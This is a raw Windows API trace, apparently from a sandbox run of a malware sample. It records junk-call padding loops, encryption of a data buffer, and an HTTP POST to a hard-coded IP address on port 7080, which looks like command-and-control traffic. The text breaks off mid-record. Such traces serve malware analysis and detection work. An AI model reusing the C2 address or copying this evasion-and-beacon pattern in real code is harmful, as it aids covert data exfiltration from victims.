0x81c [0069.426] GetCurrentProcess () returned 0xffffffff [0069.426] GetLastError () returned 0x12 [0069.426] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9D0DP") returned 7 [0069.426] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetLastError () returned 0x12 [0069.426] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9D0EP") returned 7 [0069.426] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.426] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.426] GetLastError () returned 0x12 [0069.426] GetLastError () returned 0x12 [0069.426] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9D4AP") returned 7 [0069.426] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.426] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.426] GetLastError () returned 0x12 [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.426] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.426] GetLastError () returned 0x12 [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.426] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.426] GetLastError () returned 0x12 [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.426] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.426] GetLastError () returned 0x12 [0069.426] GetLastError () returned 0x12 [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.426] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.426] GetLastError () returned 0x12 [0069.426] GetCurrentProcess () returned 0xffffffff [0069.426] GetLastError () returned 0x12 [0069.426] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9E57P") returned 7 [0069.426] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetLastError () returned 0x12 [0069.426] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9E58P") returned 7 [0069.426] SetLastError (dwErrCode=0x12) [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] GetCurrentProcessId () returned 0x81c [0069.426] lstrlenA (lpString="just string") returned 11 [0069.427] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.427] GetLastError () returned 0x12 [0069.427] GetCurrentProcess () returned 0xffffffff [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9E75P") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9E76P") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] lstrlenA (lpString="just string") returned 11 [0069.427] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.427] GetLastError () returned 0x12 [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] lstrlenA (lpString="just string") returned 11 [0069.427] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.427] GetLastError () returned 0x12 [0069.427] GetLastError () returned 0x12 [0069.427] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcess () returned 0xffffffff [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9EBAP") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcess () returned 0xffffffff [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9EBBP") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9EBCP") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] lstrlenA (lpString="just string") returned 11 [0069.427] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.427] GetLastError () returned 0x12 [0069.427] GetCurrentProcess () returned 0xffffffff [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9EC5P") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetLastError () returned 0x12 [0069.427] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9EC6P") returned 7 [0069.427] SetLastError (dwErrCode=0x12) [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] GetCurrentProcessId () returned 0x81c [0069.427] lstrlenA (lpString="just string") returned 11 [0069.427] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.427] GetLastError () returned 0x12 [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] lstrlenA (lpString="just string") returned 11 [0069.428] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.428] GetLastError () returned 0x12 [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9EEEP") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] lstrlenA (lpString="just string") returned 11 [0069.428] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.428] GetLastError () returned 0x12 [0069.428] GetCurrentProcess () returned 0xffffffff [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F01P") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F02P") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] lstrlenA (lpString="just string") returned 11 [0069.428] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.428] GetLastError () returned 0x12 [0069.428] GetLastError () returned 0x12 [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] lstrlenA (lpString="just string") returned 11 [0069.428] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.428] GetLastError () returned 0x12 [0069.428] GetLastError () returned 0x12 [0069.428] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcess () returned 0xffffffff [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F50P") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcess () returned 0xffffffff [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F51P") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F52P") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] GetCurrentProcessId () returned 0x81c [0069.428] lstrlenA (lpString="just string") returned 11 [0069.428] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.428] GetLastError () returned 0x12 [0069.428] GetLastError () returned 0x12 [0069.428] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F5CP") returned 7 [0069.428] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] lstrlenA (lpString="just string") returned 11 [0069.429] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.429] GetLastError () returned 0x12 [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] lstrlenA (lpString="just string") returned 11 [0069.429] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.429] GetLastError () returned 0x12 [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] lstrlenA (lpString="just string") returned 11 [0069.429] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.429] GetLastError () returned 0x12 [0069.429] GetLastError () returned 0x12 [0069.429] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.429] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcess () returned 0xffffffff [0069.429] GetLastError () returned 0x12 [0069.429] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F8CP") returned 7 [0069.429] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcess () returned 0xffffffff [0069.429] GetLastError () returned 0x12 [0069.429] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F8DP") returned 7 [0069.429] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetLastError () returned 0x12 [0069.429] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9F8EP") returned 7 [0069.429] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] lstrlenA (lpString="just string") returned 11 [0069.429] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.429] GetLastError () returned 0x12 [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] lstrlenA (lpString="just string") returned 11 [0069.429] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.429] GetLastError () returned 0x12 [0069.429] GetLastError () returned 0x12 [0069.429] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.429] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcess () returned 0xffffffff [0069.429] GetLastError () returned 0x12 [0069.429] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9FBEP") returned 7 [0069.429] SetLastError (dwErrCode=0x12) [0069.429] GetCurrentProcessId () returned 0x81c [0069.429] GetCurrentProcess () returned 0xffffffff [0069.429] GetLastError () returned 0x12 [0069.429] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9FBFP") returned 7 [0069.430] SetLastError (dwErrCode=0x12) [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetLastError () returned 0x12 [0069.430] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E9FC0P") returned 7 [0069.430] SetLastError (dwErrCode=0x12) [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] lstrlenA (lpString="just string") returned 11 [0069.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.430] GetLastError () returned 0x12 [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] lstrlenA (lpString="just string") returned 11 [0069.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.430] GetLastError () returned 0x12 [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] lstrlenA (lpString="just string") returned 11 [0069.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.430] GetLastError () returned 0x12 [0069.430] GetCurrentProcess () returned 0xffffffff [0069.430] GetLastError () returned 0x12 [0069.430] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6EA041P") returned 7 [0069.430] SetLastError (dwErrCode=0x12) [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetLastError () returned 0x12 [0069.430] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6EA042P") returned 7 [0069.430] SetLastError (dwErrCode=0x12) [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] lstrlenA (lpString="just string") returned 11 [0069.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.430] GetLastError () returned 0x12 [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] GetCurrentProcessId () returned 0x81c [0069.430] lstrlenA (lpString="just string") returned 11 [0069.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.430] GetLastError () returned 0x12 [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] lstrlenA (lpString="just string") returned 11 [0069.431] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.431] GetLastError () returned 0x12 [0069.431] GetLastError () returned 0x12 [0069.431] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.431] SetLastError (dwErrCode=0x12) [0069.431] GetCurrentProcess () returned 0xffffffff [0069.431] GetLastError () returned 0x12 [0069.431] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6EA0A4P") returned 7 [0069.431] SetLastError (dwErrCode=0x12) [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcess () returned 0xffffffff [0069.431] GetLastError () returned 0x12 [0069.431] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6EA0A5P") returned 7 [0069.431] SetLastError (dwErrCode=0x12) [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetLastError () returned 0x12 [0069.431] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6EA0A6P") returned 7 [0069.431] SetLastError (dwErrCode=0x12) [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] lstrlenA (lpString="just string") returned 11 [0069.431] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.431] GetLastError () returned 0x12 [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] lstrlenA (lpString="just string") returned 11 [0069.431] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.431] GetLastError () returned 0x12 [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] lstrlenA (lpString="just string") returned 11 [0069.431] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.431] GetLastError () returned 0x12 [0069.431] GetLastError () returned 0x12 [0069.431] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6EA11EP") returned 7 [0069.431] SetLastError (dwErrCode=0x12) [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] lstrlenA (lpString="just string") returned 11 [0069.431] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.431] GetLastError () returned 0x12 [0069.431] lstrlenA (lpString="just string") returned 11 [0069.431] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.431] GetLastError () returned 0x12 [0069.431] GetCurrentProcessId () returned 0x81c [0069.431] GetCurrentProcessId () returned 0x81c [0069.432] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x3e0f808 | out: phHash=0x3e0f808) returned 1 [0069.432] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db7a8, Final=1, dwFlags=0x0, pbData=0x40648c*, pdwDataLen=0x3e0f7fc*=0x246, dwBufLen=0x250 | out: pbData=0x40648c*, pdwDataLen=0x3e0f7fc*=0x250) returned 1 [0069.432] GetLastError () returned 0x12 [0069.432] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x3e0f78c, pdwDataLen=0x3e0f7f8 | out: pbData=0x3e0f78c*, pdwDataLen=0x3e0f7f8*=0x6c) returned 1 [0069.432] CryptGetHashParam (in: hHash=0x3db7a8, dwParam=0x2, pbData=0x406478, pdwDataLen=0x3e0f7f8, dwFlags=0x0 | out: pbData=0x406478, pdwDataLen=0x3e0f7f8) returned 1 [0069.432] CryptDestroyHash (hHash=0x3db7a8) returned 1 [0069.432] lstrlenA (lpString="just string") returned 11 [0069.432] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.432] GetLastError () returned 0x0 [0069.432] _snwprintf (in: _Dest=0x3e0f828, _Count=0x40, _Format="%u.%u.%u.%u" | out: _Dest="173.201.20.6") returned 12 [0069.432] lstrlenA (lpString="just string") returned 11 [0069.432] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.432] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x3e0f600, cbSize=0x3e0f800 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x3e0f800) returned 0x0 [0069.432] GetLastError () returned 0x0 [0069.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3e0f600, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0069.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3e0f600, cbMultiByte=-1, lpWideCharStr=0x4066e8, cchWideChar=179 | out: lpWideCharStr="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 179 [0069.432] GetLastError () returned 0x0 [0069.432] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.432] SetLastError (dwErrCode=0x0) [0069.432] GetCurrentProcess () returned 0xffffffff [0069.433] GetLastError () returned 0x0 [0069.433] wsprintfA (in: param_1=0x3e0f56b, param_2="%X%P" | out: param_1="6EC494P") returned 7 [0069.433] SetLastError (dwErrCode=0x0) [0069.433] GetCurrentProcessId () returned 0x81c [0069.433] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.459] GetCurrentProcess () returned 0xffffffff [0069.459] GetLastError () returned 0x0 [0069.459] wsprintfA (in: param_1=0x3e0f56b, param_2="%X%P" | out: param_1="6EC495P") returned 7 [0069.459] SetLastError (dwErrCode=0x0) [0069.459] GetCurrentProcessId () returned 0x81c [0069.459] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.460] GetLastError () returned 0x0 [0069.460] wsprintfA (in: param_1=0x3e0f78f, param_2="%X%P" | out: param_1="6EC496P") returned 7 [0069.460] SetLastError (dwErrCode=0x0) [0069.460] GetCurrentProcessId () returned 0x81c [0069.460] GetCurrentProcessId () returned 0x81c [0069.460] GetCurrentProcessId () returned 0x81c [0069.460] GetCurrentProcessId () returned 0x81c [0069.460] lstrlenA (lpString="just string") returned 11 [0069.460] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.460] GetLastError () returned 0x0 [0069.460] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0069.460] GetLastError () returned 0x0 [0069.460] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.460] SetLastError (dwErrCode=0x0) [0069.460] GetCurrentProcess () returned 0xffffffff [0069.460] GetLastError () returned 0x0 [0069.460] wsprintfA (in: param_1=0x3e0f767, param_2="%X%P" | out: param_1="6EC49EP") returned 7 [0069.460] SetLastError (dwErrCode=0x0) [0069.460] GetCurrentProcessId () returned 0x81c [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.460] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.461] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.462] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.463] GetLastError () returned 0x0 [0069.464] GetLastError () 